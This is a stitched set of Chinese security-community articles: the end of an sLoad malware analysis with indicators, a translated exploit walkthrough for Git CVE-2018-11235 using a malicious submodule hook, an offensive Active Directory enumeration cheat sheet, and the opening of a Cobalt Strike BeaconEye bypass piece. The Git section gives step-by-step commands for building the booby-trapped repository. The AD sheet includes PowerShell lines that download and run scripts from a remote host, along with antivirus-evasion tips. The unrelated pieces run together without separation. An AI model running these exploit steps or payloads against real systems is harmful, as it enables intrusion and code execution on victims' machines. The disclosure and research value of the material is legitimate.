（1）“run=”：从给定URL进行下载，并执行其PowerShell内容。
（2）“updateps=”：从给定URL进行下载，并保存其PowerShell内容。实际上，这一响应实现了恶意软件的自我更新功能。下载的内容将会替换磁盘上当前存储的sLoad文件内容，并停止当前的sLoad实例
（3）任何其他长度大于3的响应：从给定URL进行下载，使用“certutil”对其进行解码，将其保存为可执行文件，并启动该可执行文件。
在主循环结束后，sLoad会将被感染主机桌面的截图上传到“p.php”URL。sLoad将会执行长达10分钟的休眠，随后再次轮询服务器获取后续命令，并上传更多屏幕截图。
sLoad将其屏幕截图发送到C&C服务器：
sLoad中包含一个硬编码保存的银行关键字和主机名列表数组，将被感染主机上的DNS缓存与此列表进行比较，并在“bu”参数中保存匹配项，最后将其发送到C&C。以下是针对意大利银行的样本截图：
以下是针对英国银行的样本截图：
sLoad将从“C:users”文件夹开始，搜索扩展名为.ICA的文件。由于这种格式通常被Citrix应用服务器作为配置文件使用，因此我们假设这一行为很可能与Citrix有关。
## 四、sLoad版本
自从2018年5月以来，我们监测到sLoad的多个版本，这些升级版本不断添加其功能。
2018年5月1日 0.01b版本
2018年5月9日 2.01b版本
2018年5月12日 2.11b版本
2018年6月6日 2.37b版本
2018年6月26日 3.47b版本
2018年8月23日 4.07b版本
2018年9月20日 5.07b版本
2018年10月3日 5.08b版本
此外，我们还观察到了许多版本的控制面板，如下面截图所示。
0.01b版本C&C面板的屏幕截图：
2.01b版本C&C面板的屏幕截图：
2.37b版本C&C面板的屏幕截图：
4.07b版本C&C面板的屏幕截图：
## 五、新的TTP（2018年10月23日更新）
在2018年10月22日，该恶意活动在压缩后INK下载文件中添加了一个新的页面。在新的页面，.LNK将会直接下载sLoad，而不经过中间的PowerShell。
面向被感染用户的新登录页面：
## 六、结论
Proofpoint的研究人员发现了一个隐形的Downloader，该恶意软件结合了个性化电子邮件欺诈和复杂的地理围栏。与我们近期发现的其他Downloader一样，sLoad会收集被感染主机的特征信息，从而允许攻击者更好地选择他们最为感兴趣的目标。最终的Payload是一个银行木马，攻击者借助该木马可以窃取额外数据，同时也可以对被感染主机的用户进行人为攻击。sLoad为攻击者提供了一个灵活的选择，并充分考虑到沙箱逃避、设置特定目标等攻击者的实际需要。
## 七、参考
[1] <https://asert.arbornetworks.com/snatchloader-reloaded/>
[2]
<https://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/>
[3] <https://myonlinesecurity.co.uk/your-order-no-8194788-has-been-processed-malspam-delivers-malware/>
[4] <http://blog.dynamoo.com/2017/02/highly-personalised-malspam-making.html>
[5] <https://msdn.microsoft.com/en-us/library/dd871305.aspx>
[6] <https://www.uperesia.com/booby-trapped-shortcut-generator>
[7] <https://lifeinhex.com/analyzing-malicious-lnk-file/>
[8] <https://twitter.com/ps66uk/status/1054706165878321152>
## 八、IoC
### 8.1 URL
hxxps://invasivespecies[.]us/htmlTicket-access/ticket-T559658356711702
hxxps://davidharvill[.]org/htmlTicket-access/ticket-V081650502356
hxxps://schwerdt[.]org/htmlTicket-access/ticket-823624156690858
hxxps://hotkine[.]com/otki2/kine
hxxps://lookper[.]eu/userfiles/p2.txt
hxxps://lookper[.]eu/userfiles/h2.txt
hxxps://maleass[.]eu/images//img.php?ch=1
hxxps://informanetwork[.]com/update/thrthh.txt
### 8.2 SHA256
5ea968cdefd2faabb3b4380a3ff7cb9ad21e03277bcd327d85eb87aaeecda282
a446afb6df85ad7819b90026849a72de495f2beed1da7dcd55c09cd33669d416
79233b83115161065e51c6630634213644f97008c4da28673e7159d1b4f50dc2
245c12a6d3d43420883a688f7e68e7164b3dda16d6b7979b1794cafd58a34d6db1032db65464a1c5a18714ce3541fca3c82d0a47fb2e01c31d7d4c3d5ed60040
### 8.3 域名与IP
xohrikvjhiu[.]eu
185.197.75.35 | 社区文章 |
# Git远程代码执行漏洞（CVE-2018-11235）的详细分析
|
##### 译文声明
本文是翻译文章，文章来源：https://staaldraad.github.io/
原文地址：<https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
最近，我在研究一个包含许多子模块的Git仓库（Repository）。在研究过程中，我意识到自己并不清楚子模块（Submodules）是如何工作的，因此决定深入研究子模块的工作模式，以对其有更清晰的理解。但就在这个研究过程中，我发现了子模块系统的一个漏洞，当子模块被初始化时，将会导致Git中的远程代码执行（RCE）。针对这一漏洞，我复制了一台恶意软件库的主机，并在该主机上成功利用了这一漏洞。最后，我发现并向GitHub的Bounty
Hunters项目提交了该漏洞（ <https://bounty.github.com/bounty-hunters.html>
），并获得了CVE-2018-11235的漏洞编号（
<http://lkml.iu.edu/hypermail/linux/kernel/1805.3/05909.html> ） 。
在本文中，我将详细描述发现漏洞的过程，并详细分析利用这一漏洞的步骤。这可能是我寻找漏洞以来所发现的最受欢迎的一个漏洞。如果要让我概述发现这一漏洞的过程，那么必须要认真研究，再加上一点点运气，最后才能得到代码执行漏洞。
## 二、关于子模块
Git允许用户将外部仓库包含到自己的仓库之中，从而可以轻松地包含外部依赖关系，并且能够自动跟踪其发生的更改。根据Git-scm的介绍（
<https://git-scm.com/docs/gitsubmodules>
），我们知道：子模块（Submodule）是嵌入在另一个仓库内的仓库。子模块具有其自己的历史记录（History）。它所嵌入的仓库称为超级项目（Superproject）。
如果大家想要深入研究子模块，以下这些资源可以作为参考：
<https://git-scm.com/book/en/v2/Git-Tools-Submodules>
<https://blog.github.com/2016-02-01-working-with-submodules/>
<https://chrisjean.com/git-submodules-adding-using-removing-and-updating/>
为了理解子模块是如何工作的，我们添加一个基本的子模块，并查看我们对仓库所做的更改。要将子模块添加到仓库，我们只需要使用git submodule
add命令。这一过程需要复制外部仓库，并为用户设置一些配置选项。每个子模块都有一个名称和一个路径，该路径用于跟踪子模块，同时也是仓库中子模块的存储位置。
如果我们添加一个外部子模块：
git submodule add https://github.com/staaldraad/repository.git mysubmodule
将会创建如下文件：
（1）mysubmodule/：将要复制的子模块的仓库路径；
（2）.gitmodules：包含有关子模块的初始化信息（如果该文件不存在，将会自动创建）；
（3）$GIT_DIR/modules/mysubmodule：该文件夹包含子模块的Git目录（与我们已知的.git目录相同）；
（4）$GIT_DIR/config：修改后的.git/config文件，其中包含对所有子模块的引用。
将子模块添加到仓库，并将更改推送到远程设备之后，我们可能会注意到子模块的内容实际上没有添加到远程设备之中。在.gitmodules文件中包含了有关子模块的信息，这些信息将会用于对仓库中任何复制的子模块进行初始化。
为了在本地复制的仓库中对子模块进行初始化，我们需要在复制过程中使用以下命令来进行指定：
git clone --recurse-submodules https://github.com/staaldraad/repository.git
或者也可以在现有的仓库中，执行以下操作：
git submodule update --init
.gitmodules文件在子模块中将起到重要的作用，并且该文件是在我们的控制之下。仔细研究.gitmodules文件，我们会发现如下内容：
[submodule "mysubmodule"]
path = mysubmodule
url = https://github.com/staaldraad/repository.git
而就是在这里，我有一丝不寻常的预感，并且开始寻找漏洞。
## 三、漏洞发现过程
### 3.1 初步尝试
通过查看.gitmodules文件，我们注意到其中出现了两次mysubmodule，一次是在子模块名称中，另一次是在路径之中。而默认情况下，除非使用了—name参数指定名称，否则子模块名称和子模块路径会是相同的。此外，我们还注意到，子模块名称将用于为子模块创建.git目录，这一目录的路径最终为$GIT_DIR/modules/mysubmodule。在这里，我不禁产生了疑问，如果子模块名称就是一个路径呢？为了验证我是否可以操纵所使用的文件路径，我对.gitmodules文件中的子模块名称进行了修改。
修改后的.gitmodules文件如下：
[submodule "../../submodule"]
path = mysubmodule
url = https://github.com/staaldraad/repository.git
我提交了修改，并完成了复制目录这一过程。由于我修改了子模块名称，直接导致子模块仓库在主仓库中被创建，而不是在其所属的.git/modules中创建。
git clone --recurse-submodules https://github.com/staaldraad/repository.git
<snip>...</snip>
cd repository
ls -l
drwxrwxr-x. 2 staaldraad staaldraad 40 May 3 13:26 submodule
-rw-rw-r--. 1 staaldraad staaldraad 3 May 3 13:26 README.md
drwxrwxr-x. 2 staaldraad staaldraad 40 May 3 13:26 mysubmodule
ls -l submodule
total 28
drwxrwxr-x. 2 staaldraad staaldraad 40 May 3 13:26 branches
-rw-rw-r--. 1 staaldraad staaldraad 293 May 3 13:26 config
-rw-rw-r--. 1 staaldraad staaldraad 73 May 3 13:26 description
-rw-rw-r--. 1 staaldraad staaldraad 41 May 3 13:26 HEAD
drwxrwxr-x. 2 staaldraad staaldraad 240 May 3 13:26 hooks
-rw-rw-r--. 1 staaldraad staaldraad 11120 May 3 13:26 index
drwxrwxr-x. 2 staaldraad staaldraad 60 May 3 13:26 info
drwxrwxr-x. 3 staaldraad staaldraad 80 May 3 13:26 logs
drwxrwxr-x. 4 staaldraad staaldraad 80 May 3 13:26 objects
-rw-rw-r--. 1 staaldraad staaldraad 107 May 3 13:26 packed-refs
drwxrwxr-x. 5 staaldraad staaldraad 100 May 3 13:26 refs
结果证明，在子模块复制函数中，存在目录遍历漏洞，我们现在可以借助这一漏洞在任意位置进行写入。但遗憾的是，我们还不能控制写入的数据。所有创建的内容都来源于Git，但我们希望进行代码执行，这时Git仓库就显得毫无用处了。因此，我试图使用符号链接，对不同的位置尝试进行写入，但除了能够覆盖现有的文件夹之外，似乎并没有太大作用。
于是，我决定后退一步，先不考虑完全控制写入的内容，而是分析一下Git自身的原理以及如何从Git执行代码，这时我想到了Git钩子（Git Hook，
<https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks> ）。
### 3.2 Git钩子
Git钩子具体分为客户端钩子和服务端钩子。这些钩子是在Git工作流中发生预定义事件时触发的简单可执行脚本（例如Bash等）。最常见的例子就是预提交钩子，用于验证提交中是否包含敏感数据。这些钩子似乎可以作为代码执行的一个有效途径，但不幸的是，钩子位于$GIT_DIR/hooks/中，这也就意味着它们永远不会存储在远程的Git仓库中，并且不会成为复制过程中被复制的一个部分。
之所以这样设定，是有原因的——如果钩子存储在实际的Git工作树中，就可以很容易地创建一个具有恶意客户端钩子的仓库，并且任何复制该仓库的用户都会执行钩子，这显然不是一个理想的状况。
由于子模块只是一个外部的Git仓库，所以子模块也可以具有钩子，这些钩子会存储在$GIT_DIR/modules/modulename/hooks目录下。这时我有了一个想法，如果使用我们的子模块目录遍历漏洞，来创建并触发$GIT_DIR之外的一个钩子是否可行？
### 3.3 重新回到遍历漏洞
由于这一遍历漏洞的存在，允许我们的子模块仓库位于$GIT_DIR之外，所以我们可以将其添加到工作树，并提交到远程。这也就意味着，它将被包含在任何复制的Git之中，理论上当我们对子模块进行任何更改时，都会触发这一钩子。
考虑到上述原理，我们进行了如下步骤。
（1）添加一个子模块：
git submodule add https://github.com/staaldraad/repository.git submod
（2）创建一个伪造Git目录，用于我们的遍历：
mkdir -p fakegit/modules
（3）创建一个Git钩子：
vim fakegit/modules/submod/hooks/post-checkout
chmod +x !$
（4）修改.gitmodules，使其包含遍历（新模块名称为../../fakegit/modules/submod）
（5）提交所有内容：
git add .
git commit -m "msg"
git push origin master
我们的思路是，当仓库被复制时，由于fakegit/modules/submod看起来似乎是一个有效的子模块仓库，并且当子模块git submodule
update
—init执行时，Git将会使用fakegit/modules/submod作为路径，而不是$GIT_DIR/modules/submod。由于其中包含一个钩子，所以在检查完成后将会执行钩子。
思路非常完美，但实际却遇到了失败。
Submodule '../../fakegit/modules/submod' (https://github.com/staaldraad/repository.git) registered for path 'submod'
Cloning into '/tmp/c/v/subs/submod'...
fatal: /tmp/c/v/subs/.git/modules/../../fakegit/modules/submod already exists
fatal: clone of 'https://github.com/staaldraad/repository.git' into submodule path '/tmp/c/v/subs/submod' failed
Failed to clone 'submod'. Retry scheduled
Cloning into '/tmp/c/v/subs/submod'...
remote: Counting objects: 274, done.
remote: Compressing objects: 100% (227/227), done.
remote: Total 274 (delta 14), reused 268 (delta 8), pack-reused 0
Receiving objects: 100% (274/274), 44.03 KiB | 392.00 KiB/s, done.
Resolving deltas: 100% (14/14), done.
Submodule path 'submod': checked out 'cc0db68d85f7ce60a51c62bf451d7575e5a9a89e'
Submodule path 'submod': checked out 'cc0db68d85f7ce60a51c62bf451d7575e5a9a89e'
回想一下，我之前曾经提到过，这个遍历漏洞允许我覆盖任意文件夹。而这正是我们失败的原因，子模块尝试在我们伪造的位置初始化子模块仓库，但此时文件夹已经存在，所以它会删除其中的内容，并且尝试。这样一来，就会覆盖我们所特制的攻击，该钩子也永远不会触发。
fatal: /tmp/c/v/subs/.git/modules/../../fakegit/modules/submod already exists
fatal: clone of 'https://github.com/staaldraad/repository.git' into submodule path '/tmp/c/v/subs/submod' failed
Failed to clone 'submod'. Retry scheduled
Cloning into '/tmp/c/v/subs/submod'...
事已至此，我不打算放弃，接下来我们要解决的问题就只是“防止Git覆盖钩子”。在不断尝试的过程中，我多次遇到了失败，即使使用了第二个子模块成功写入文件夹，最终也会被覆盖。
### 3.4 解决钩子被覆盖的问题
经过多次尝试后，我开始回顾之前的操作。在之前，我总是为第二个子模块选择了第一个子模块字母顺序之后的路径。这就意味着，第一个模块将尝试被创建，失败后第二个模块将被添加，然后第一个模块会被再次复制。在尝试不同的攻击方法时，我无意中将第二个模块的路径修改成了字母顺序在第一个模块之前，即第二个路径是mod1，第一个路径是submod。
就这一个小小的变化，却触发了一个新的代码路径，而我之前并没有想到会发生这样的情况。当$GIT_DIR/modules中存在一个或多个子模块时，我们的遍历子模块不会覆盖任何文件。通过第二个子模块的初始化过程，就可以创建$GIT_DIR/modules/mod目录，同时将fakegit/modules/submod作为有效路径接受，并且不发生覆盖的情况。这样一来，钩子就仍然存在，我们可以触发钩子！
## 四、漏洞利用
### 4.1 漏洞利用过程
目前，思路已经清晰，接下来就要整合攻击链了。要利用这一漏洞，需要我们创建“恶意”的仓库，我们的目标将会对其进行复制。
1、首先创建Repo：
mkdir badrepo
cd badrepo
git init
git remote add origin https://github.com/staaldraad/demosub.git
2、通过我们的目录遍历，寻找子模块创建所需的文件夹：
mkdir -p fakegit/modules
3、添加两个子模块（其中的内容不重要，只需要权限设置为公开/可复制）：
git submodule add https://github.com/staaldraad/repository.git submod
git submodule add https://github.com/staaldraad/repository.git aaa
4、从.git/modules/submod移动伪造子模块的Git仓库：
mv .git/modules/submod fakegit/modules/submod
5、在伪造Git中，创建我们的钩子，需要是一个有效的Bash脚本：
cat > fakegit/modules/submod/hooks/post-checkout <<EOF
#!/bin/sh
echo "PWNED"
ping -c 3 127.0.0.1
exit 0
EOF
chmod +x fakegit/modules/submod/hooks/post-checkout
6、通过将“submod”更改为“../../fakegit/modules/submod”，将目录遍历添加到.gitmodules中：
sed -i '0,/submod/{s/"submod/"../../fakegit/modules/submod/}' .gitmodules
7、我们还需要更新子模块.git文件中的gitdir路径，从而使其指向我们的新位置。Git在构建工作树期间会使用该路径，如果我们不进行这一更改，就无法创建我们的提交。原因在于，我们在将其移动到新的伪装位置时，删除了$GIT_DIR/modules/submod。具体来说，我们要将gitdir从../.git/modules/submod修改为../fakegit/modules/submod。
sed -i 's/.git/fakegit/' submod/.git
8、添加、提交并推送：
git add .
git commit -m "woot"
git push origin master
### 4.2 受害者用户
当受害者用户复制仓库并使用—recurse子模块时，我们将会得到远程代码执行：
git clone --recurse-submodules https://github.com/staaldraad/demosub.git
在git submodule update —init的情况下，也同样能够得到远程代码执行：
git clone https://github.com/staaldraad/demosub.git
cd demosub
git submodule update --init
## 五、GitHub页面远程代码执行
### 5.1 GitHub中发现的漏洞
我们在Git中新发现的远程代码执行漏洞具有较大的危害，但它需要以特定方式来复制仓库，并且可能不会被视为“真实世界”中所发生的。因此，我开始寻找一种能够证明风险的方法。长期以来，我都将GitHub作为漏洞探索的一个目标，尝试获得Shell。经过查看GitHub页面，并在GitHub页面上托管此博客后，我了解到GitHub页面允许用户在仓库中使用子模块（
<https://help.github.com/articles/using-submodules-with-pages> ）。
要测试该漏洞是否适用于GitHub非常简单，只要对我们的脚本稍作修改，使其不再ping
localhost，而是与我控制的主机进行反向连接，然后在仓库上启用GitHub页面。
最终，我们取得了成功。经过快速验证，该IP地址确实来自GitHub，现在我们就证明了GitHub存在远程代码执行漏洞。
针对GitHub上存在的漏洞，我没有尝试进一步利用，而是及时向GitHub提交了报告。我建议需要特别注意在Docker容器中的非特权用户，需要限制其攻击面和进一步利用漏洞的机会，并且阻止对其他用户数据的访问。
我将这一问题报告给GitHub后，得到了及时有效的回应。在6月3日（周日）早上我提交了该问题，GitHub团队在收到报告后的3小时就进行了漏洞分类，并进行了临时修复。他们的BugBounty计划非常有效，同时GitHub团队还协助将相关问题提交给git-core并申请到了CVE编号。
### 5.2 边缘案例
当我尝试对2.13.6版本的Git进行漏洞测试时，我同时还请了一个朋友[@Saif_Sherei](https://github.com/Saif_Sherei
"@Saif_Sherei")（ <https://twitter.com/saif_sherei>
）在他的盒子上测试这一漏洞，但他却没能成功利用该漏洞。他安装了2.7.4版本的Git，成功触发了漏洞攻击，但在复制过程中，工作树目录被添加了额外的….，有效防止了漏洞的利用。在漏洞披露后，Tony
Torralba（ <https://twitter.com/_atorralba> ）复现了2.7.4版本Git上的漏洞。我强烈建议各位读者阅读他的文章（
<https://atorralba.github.io/CVE-2018-11235/> ），并学习他的思路和符号链接技巧，以对这一漏洞有更为完整的认识。
### 5.3 其他操作系统
需要指出的是，该漏洞不仅可以通过Git For Linux进行利用，同时也可以在macOS和Windows上利用。Microsoft Visual
Studio服务团队在其发布的补丁公告中包含了一个可用于macOS的PoC。
<https://twitter.com/VSTS/status/1001544001881862145>
## 六、漏洞修复
针对该漏洞，已于2018年5月29日发布Git补丁。在该补丁中，不仅解决了客户端漏洞，而且还引入了一个防止Git服务器传递“恶意”gitmodule对象的选项。该选项并没有默认启用，但可以通过切换到transfer.fsckObjects来启用。更多信息请阅读：
<a href=”https://public-inbox.org/git/20180529211950.26896-1-[[email protected]](mailto:[email protected])/””>https://public-inbox.org/git/[email protected]/ 。
上述修复目前已经在大多数主要托管服务器上完成，包括GitHub、GitLab、Microsoft Visual
Studio团队服务。我们非常开心看到不同组织能够共同协作，修复这一漏洞，并保护终端用户。
以下版本已经进行了安全更新，建议广大用户更新到不受该漏洞影响的版本：
v2.17.1（最新）
v2.16.4
v2.15.2
v2.14.4
v2.13.7
感谢GitHub安全团队对此漏洞的报告及披露过程提供的协助，也感谢Git的维护人员能进行快速响应和修复。
Edward Thomson还写了一篇很棒的文章，详细介绍了如何在各种平台上更新Git，并提供了验证自己是否受该漏洞影响的方法，强烈推荐阅读这篇文章：
<https://www.edwardthomson.com/blog/upgrading_git_for_cve2018_11235.html> 。
Git团队还为这一漏洞创建了一个测试脚本，该脚本使用内置的Git命令进行漏洞利用尝试，并且跳过了我所经历的一些不必要的步骤：
<https://github.com/git/git/commit/0383bbb9015898cbc79abd7b64316484d7713b44#diff-07b96ecc79256b188e0ea9b2c6d1180e>
。
## 七、参考文章
[https://marc.info/?l=git&m=152761328506724&w=2](https://marc.info/?l=git&m=152761328506724&w=2)
<https://blogs.msdn.microsoft.com/devops/2018/05/29/announcing-the-may-2018-git-security-vulnerability/>
<https://www.edwardthomson.com/blog/upgrading_git_for_cve2018_11235.html>
<https://github.com/git/git/commit/0383bbb9015898cbc79abd7b64316484d7713b44>
<https://atorralba.github.io/CVE-2018-11235/>
<https://www.allthingsgit.com/episodes/git_security_with_etienne_stalmans.html> | 社区文章 |
# 0x00、前言
域内基本的信息枚举是拿到域内机子之后必不可少的一步，后续操作可以说完全依赖于信息枚举的程度
这里只针对域内信息进行枚举（域用户、域组、ACLs、GPO、OUs、信任关系、一些特殊的账户属性和文件......）
下面列举出 **Active Directory模块** 下和使用 **powerview**
两种方式进行域内枚举（powerview命令在前，AD的在后，以空行区分）实际情况中域控一般安装有Active Directory模块
# 0x01、基本模块的导入：
[Powerview项目地址：](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
Import-Module C:\Users\arksvc\Documents\powerview.ps1
[ADModule项目地址](https://github.com/samratashok/ADModule)，不需要安装RSAT即可使用AD模块：
使用dll导入：
Import-Module D:\ADModule-master\ADModule-master\Microsoft.ActiveDirectory.Management.dll -Verbose
或者直接导入ActiveDirectory.ps1
iex (new-Object Net.WebClient).DownloadString('http://10.10.14.67:8000/Import-ActiveDirectory.ps1');Import-ActiveDirectory
因为是微软签名的模块，所以ActiveDirectory能够达到一定程度的免杀效果、powerview直接被defender识别（powerview实际用起来更方便）：
加载到内存执行（只能绕过powershell策略，而不能绕过杀软对powerview的检测）
powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.67:8000/powerview.ps1');Get-NetDomainController"
# 0x02、枚举：
## 0x02.1、当前域基本信息枚举
当前域：
Get-NetDomain （获取到域名、域控制器）
Get-ADDomain
列举其他域：
Get-NetDomain -Domain cascade.local
.
Get-ADDomain -Identity cascade.local
当前域sid：
Get-DomainSid
.
(Get-ADDomain).DomainSid
获取当前域策略：(只有powerview有这个模块) -----（系统最小/最大密码长度、Kerberos票据时效等）
Get-DomainPolicy
(Get-DomainPolicy)."System access"
(Get-DomainPolicy)."kerberos policy"
获取其他域策略：(只有powerview有这个模块）
Get-DomainPolicy -Domain cascade.local
(Get-DomainPolicy -Domain cascade.local)."System access"
定位域控制器：(域控IP、Hostname、操作系统版本等信息)
Get-NetDomainController
.
Get-ADDomainController
定位其他域域控：
Get-NetDomainController -Domain cascade.local
.
Get-ADDomainController -DomainName cascade.local -Discover
## 0x02.2、域内用户信息枚举
域用户信息
Get-NetUser
Get-NetUser -Username Administrator
.
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity Administrato -Properties *
用户属性信息：(灵活过滤，显示想要的信息)
Get-UserProperty
Get-UserProperty -Properties pwdlastset (用户最近一次设置密码时间)
Get-Userproperty -Properties badpwdcount (用户尝试使用错误密码登录帐户的次数。值为0表示该值未知,【可尝试错误登录域中用户，然后查看badpwdcount是否增加，不增加的话存在爆破的可能性】)
Get-Userproperty -Properties logoncount（帐户成功登录的次数。值为0表示该值未知。）
.
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
Get-ADUser -Filter * -Properties * | select name,badpwdcount
查找属性中的用户特殊值
Discription 区域有时候会被管理员用于相当于备忘录的功能，能够得到不少有用的信息
Find-UserField -SearchField Description –SearchTerm “built” ###获取Built-in account
Find-UserField -SearchField Description –SearchTerm “pass”
.
Get-ADUser -Filter 'Description -like "*built*"' -Properties Description | select name,Description
Get-ADUser -Filter 'Description -like "*pass*"' -Properties Description | select name,Description
## 0x02.3、域内机器信息枚举
获取域内机子信息：
Get-NetComputer
Get-NetComputer -OperatingSystem "*server 2008*" （探测特定操作系统机子）
Get-NetComputer -Ping (ping探测存活主机)
Get-NetComputer -Fulldata
.
Get-ADComputer -Filter * -Proterties *
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select Name,OperatingSystem
Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -Computer $_.DnsHostName}
## 0x02.4、域内组信息枚举
获取组信息：
Get-NetGroup
Get-NetGroup -GroupName *admin* ###组名含有admin的组
Get-NetGroup 'Domian Admins' -Fulldata
Get-NetGroup -domain cascade.local
.
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
列出组成员信息：
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
Get-NetGroup –UserName Administrator
.
Get-ADGroupMember -Identity "Domain Admins" -Recursive
Get-ADPrincipalGroupMembership -Identity administrator
列出目标机子组及成员信息：（需要管理员权限运行）
Get-NetLocalGroup -ComputerName CASC-DC1.cascade.local -Recurse ###域控组上用户
Get-NetLocalGroup -ComputerName CASC-DC1.cascade.local -ListGroups #域控上的组
目标机子登录用户信息：
Get-NetLoggedon -ComputerName CASC-DC1.cascade.local (目标机子上活跃用户，需要管理员权限)
Get-LoggedonLocal -ComputerName CASC-DC1.cascade.local （目标机子已登录用户，需要目标机子开启远程注册表功能）
Get-LastLoggedon -ComputerName CASC-DC1.cascade.local （目标机子最近登录用户，需要管理权+本机在目标机子开启远程注册表）
## 0x02.5、域内敏感文件枚举
当前域共享：
Invoke-ShareFinder -Verbose
敏感文件：
Invoke-FileFinder -Verbose
文件服务：
Get-NetFileServer
## 0x02.6、GPO & OUs：
（GPO组策略对象可用于提权、后门、权限维持，利用GPO中的计划任务远程执行等）
[ Red Teamer GPO和OU指南](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
Group
Policy组策略用于集中式管理域内计算机，通过配置组策略可以对域中的用户、用户组、计算机进行不同维度的管理，如安全配置、注册表配置、软件安装配置、开关机与登入登出管理等
GPO组策略对象用于存储这些配置策略（GPO由GPC（组策略容器）和GPT（组策略模板）组成）
OU：是“可用于将大多数其他对象和类出于管理目的组合在一起的通用容器”，组织通常会使用OU来组织基于部门和/或地理位置的实体
获取当前域GPO列表
Get-NetGPO
Get-NetGPO | select displayname
Get-NetGPO -ComputerName CASC-DC1.cascade.local ##获取目标机器GPO
Get-NetGPOGroup ###查找groups.xml中的用户
Find-GPOComputerAdmin –Computername CASC-DC1.cascade.local ###通过GPO查找目标机器有管理权限的用户
Find-GPOLocation -UserName arksvc ###通过GPO查找xxxx用户在域内哪些机子有管理员权限
获取域OU：
Get-NetOU -Fulldata
.
Get-ADOrganizationalUnit -Filter * -Properties *
查询应用在某OU上的GPO：
Get-NetGPO -GPOname '{322FEA29-156D-4476-8A06-1935A3525C1C}' ###通过Get-NetOU获取到gplink（如上图）
## 0x02.7、ACL：
（可用于提权、如Exchange、[Enterprise Key admins](https://secureidentity.se/adprep-bug-in-windows-server-2016/)）
对域对象有WriteDacl权限===>DCSync （通过为指定用户添加ACE实现）（ACL是一个ACE列表）
ACL是一组规则，用于定义哪些实体对特定AD对象具有哪些权限。这些对象可以是用户帐户，组，计算机帐户，域本身等，ACL分为SACL（System
ACL）和DACL（Discretionanly ACL）
对象的ACL中，包含一个访问控制项（ACE），ACE定义了身份和在OU和/或降级对象上应用的相应权限。
通过下面的模型理解他们之间的关系
获得ACL的关联项：
Get-ObjectAcl -SamAccountName Administrator -ResolveGUIDs
Get-ObjectAcl -ADSPrefix 'CN=Administrator,CN=Users' -Verbos
Active Directory模块：
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=cascade,DC=local').access
通过Ldap进行查询：
Get-ObjectAcl -ADSpath 'LDAP://CN=Administrator,CN=Users,DC=cascade,DC=local' -ResolveGUIDs -Verbos
查找ACEs：
Invoke-ACLScanner -ResolveGUIDs
通过特定路径查找ACLs
Get-PathAcl -Path "\\CASC-DC1.cascade.local\\sysvol"
查找有权限修改ACL的用户
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
## 0x02.8、域信任枚举
Forest间的域课通过建立信任关系进行跨域访问（存在单向信任、双向信任、父子信任、树根信任以及外部信任）
[攻击域信任的指南](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
Get-NetDomainTrust
Get-NetDomainTrust -Domain CASC-DC1.cascade.local
.
Get-ADTrust
Get-ADTrust -Identity CASC-DC1.cascade.local
**林：**
获取林详情:
Get-NetForest
Get-NetForest -Forest htb.local
.
Get-ADForest
Get-ADForest -Identity htb.local
获取林内的域：
Get-NetForestDomain
Get-NetForestDomain -Foresr htb.local
.
(Get-ADForest).Domains
当前林目录：
Get-NetForestCatalog
林间信任：
Get-NetForestTrust
## 0x02.9、用户搜寻：
列出域中当前用户有权限的机器：
Find-LocalAdminAccess -Verbose
(这条命令向域控发出Get-NetComputer获取机器列表，然后在每台机器上执行Invoke-CheckLocalAdminAcess)
Find-LocalAdminAccess不能执行，可用WMI和powershell Remoting等远程管理工具代替探测，（Find-WMILocalAdminAccess.ps1）
查找域内所有机器本地管理员：
Invoke-EnumerateLocalAdmin ###需要本地管理员权限
(这条命令向域控发出Get-NetComputer获取机器列表，然后在每台机器上执行Get-NetLocalGroup)
查找域管/特定用户/组登录过的机子：
Invoke-UserHunter
Invoke-UserHunter -Stealth
Invoke-UserHunter -UserName arksvc
Invoke-UserHunter -GroupName "RDP Users"
查找域管理员登录且当前用户有权限的机子
Invoke-UserHunter -CheckAccess
# 0x03、总结：
这里主要依赖于powershell对域进行信息枚举，从最开始先对域基本信息进行枚举、依借这些进一步枚举到域组、域用户、域策略、ACL、等关键信息，层层递进，最后信息整合，增大攻击面，为域内横向、域控提权提供必要的信息支撑。powershell的便捷和隐蔽性无疑是一大助力
看一些国外大牛的案例中，一些很难拿下的域控，最后通过这些收集的信息整合最后拼凑出一条路的案例直通DC的也有。
powerview功能丰富且便捷，但也由于太过于出名，早已经被加入黑名单，可自行修改函数尝试绕过。实在不行这里还有微软签名的Actice
Directory供君选择
链接：
<https://mlcsec.com/active-directory-domain-enumeration/#>
<https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview>
<https://0xdarkvortex.dev/index.php/2019/01/01/active-directory-penetration-dojo-ad-environment-enumeration-1/>
<https://blog.riskivy.com/fun_with_acl_and_gpo/> | 社区文章 |
在之前的三篇文章《[Stageless Beacon 生成流程分析](https://mp.weixin.qq.com/s/LatoIDPPJcd-igYrF-IYzA)》《[Beacon C2Profile
解析](https://mp.weixin.qq.com/s/KLAG_8jafwEurVzk7Qz26A)》《[Beacon
上线协议分析](https://mp.weixin.qq.com/s/ZfzbtehT5dVAaRR0mQMYrw)》中，已经穿插着将 C2Profile
的全部内容介绍完了，也把 Bypass 所需要的一些内容也都穿插着提到过了，接下来就该说如何对其进行 Bypass
# 0x01 BeaconEye 检测原理
